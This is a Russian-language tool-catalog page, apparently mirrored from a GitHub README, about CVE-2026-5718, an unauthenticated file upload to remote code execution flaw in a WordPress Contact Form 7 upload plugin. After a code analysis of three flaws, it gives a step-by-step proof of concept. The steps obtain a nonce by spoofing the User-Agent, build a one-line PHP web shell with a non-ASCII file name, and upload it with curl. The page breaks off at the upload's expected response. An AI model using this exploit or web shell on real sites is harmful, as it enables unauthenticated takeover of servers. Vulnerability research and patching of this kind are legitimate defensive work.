Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5718 — CVE-2026-5718: Неаутентифицированная загрузка файлов до RCE в плагине DnD Upload CF7 | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-5718
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: Неаутентифицированная загрузка файлов до RCE в плагине DnD Upload CF7

Репозиторий
54 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-5718

CVE-2026-5718: Неаутентифицированная загрузка файла до RCE в плагине DnD Upload CF7

CVE-2026-5718 — Сканер RCE загрузки файлов DnD CF7

Плагин: Drag and Drop Multiple File Upload для Contact Form 7 Слаг плагина: drag-and-drop-multiple-file-upload-contact-form-7 ID CVE: CVE-2026-5718 Оценка CVSS: 8.1 (High) Вектор CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Тип уязвимости: Неаутентифицированная произвольная загрузка файлов → Удалённое выполнение кода Затронутые версии: <= 1.3.9.6 Исправленная версия: 1.3.9.7 Дата публикации: 17 апреля 2026 Исследователь: Leonid Semenenko (lsemenenko) — Wordfence


📌 Об уязвимости

В плагине Drag and Drop Multiple File Upload для Contact Form 7 две независимых логических ошибки объединяются и позволяют неаутентифицированным злоумышленникам загружать PHP-веб-шеллы.

  1. Разрушение чёрного списка: Специальная конфигурация чёрного списка полностью заменяет список опасных расширений по умолчанию вместо того, чтобы дополнить его. php больше не блокируется.

  2. Обход через Non-ASCII: Наличие non-ASCII символа в имени файла предотвращает вызов функции wpcf7_antiscript_file_name(). Расширение .php сохраняется, и файл записывается на диск.


🔍 Краткое описание уязвимости

ПолеЗначение
Название плагинаDrag and Drop Multiple File Upload для CF7
ID CVECVE-2026-5718
Оценка CVSS8.1 (High)
Тип уязвимостиНеаутентифицированная произвольная загрузка файлов
Затронутая версия<= 1.3.9.6
Исправленная версия1.3.9.7
Предварительное условиеВ форме CF7 специальная конфигурация blacklist-types

⚙️ Технический анализ

Уязвимость 1 — Nonce открыт для всех (строка 62)

// inc/dnd-upload-cf7.php — строки 62–71
function dnd_wpcf7_nonce_check() {
    // Единственная защита: проверка User-Agent на 'curl' — легко обходится
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // Недействительный nonce → ВОЗВРАЩАЕТ НОВЫЙ NONCE
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

Действие wp_ajax_nopriv__wpcf7_check_nonce открыто для всех. При отправке недействительного nonce новый nonce выдается бесплатно. Использование User-Agent Mozilla обходит проверку curl.


Уязвимость 2 — Замена чёрного списка вместо слияния (строка 883)

// inc/dnd-upload-cf7.php — строки 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 опасных расширений: php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ ПРИСВАИВАНИЕ (=) — НЕ СЛИЯНИЕ
    // Пользовательский список: только ['zip']
    // 'php' теперь не в списке → принимается
}

Конфигурация тега формы, запускающая уязвимость:

[mfile upload-file filetypes="*" blacklist-types:zip]

Администратор хочет заблокировать ZIP → плагин удаляет весь список запрещённых по умолчанию. Все опасные расширения, включая php, теперь принимаются.

Кроме того, в жёстко заданном списке для filetypes="*" также не хватает расширений:

// строка 927 — 'php', 'php3', 'php4', 'pht', 'phtml' ОТСУТСТВУЮТ
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

Уязвимость 3 — Обход через Non-ASCII (строка 970)

// inc/dnd-upload-cf7.php — строки 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // Вызывается только для pure-ASCII имён файлов
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ сделал бы shell.php → shell.php.txt — но блок пропускается
}
// Если есть non-ASCII символы, этот блок ПРОПУСКАЕТСЯ
// $filename = "shellシ.php" → расширение .php сохраняется
// dnd_cf7_check_ascii() — строки 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ Изменяется только локальная копия, внешняя $filename НЕ ЗАТРАГИВАЕТСЯ
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // Non-ASCII символ → false → антискрипт пропускается
}

🔴 Полная цепочка атаки

┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (не curl)                        │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → Nonce получен бесплатно                                  │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce действителен ✓                              │
│       ├── blacklist=['zip'] → 'php' не блокируется ✓       │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() ПРОПУЩЕН ✓           │
│       └── move_uploaded_file("shellシ.php") → Записан на диск│
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → Неаутентифицированное RCE ✓                              │
└─────────────────────────────────────────────────────────────┘

🧪 Proof of Concept (Вручную)

⚠️ Дисклеймер: Этот PoC предоставлен только для образовательных целей и защитных исследований безопасности. Используйте только на системах, которыми владеете или на тестирование которых имеете явное письменное разрешение.

Предварительные условия:

  • Плагин установлен и активен (версия <= 1.3.9.6)
  • Форма CF7 должна содержать поле [mfile] с blacklist-types:
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

Шаг 1 — Получение Nonce

TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

Ожидаемый ответ:

{"success": true, "data": "abc123def456"}

Шаг 2 — Создание веб-шелла с non-ASCII именем файла

# 'シ' (U+30B7 Катакана) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

Шаг 3 — Загрузка шелла

FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  -F "action=dnd_codedropz_upload" \
  -F "security=${NONCE}" \
  -F "form_id=${FORM_ID}" \
  -F "upload_name=${FIELD_NAME}" \
  -F "upload_folder=${SESSION_FOLDER}" \
  -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"

Ожидаемый ответ:

Скачать инструмент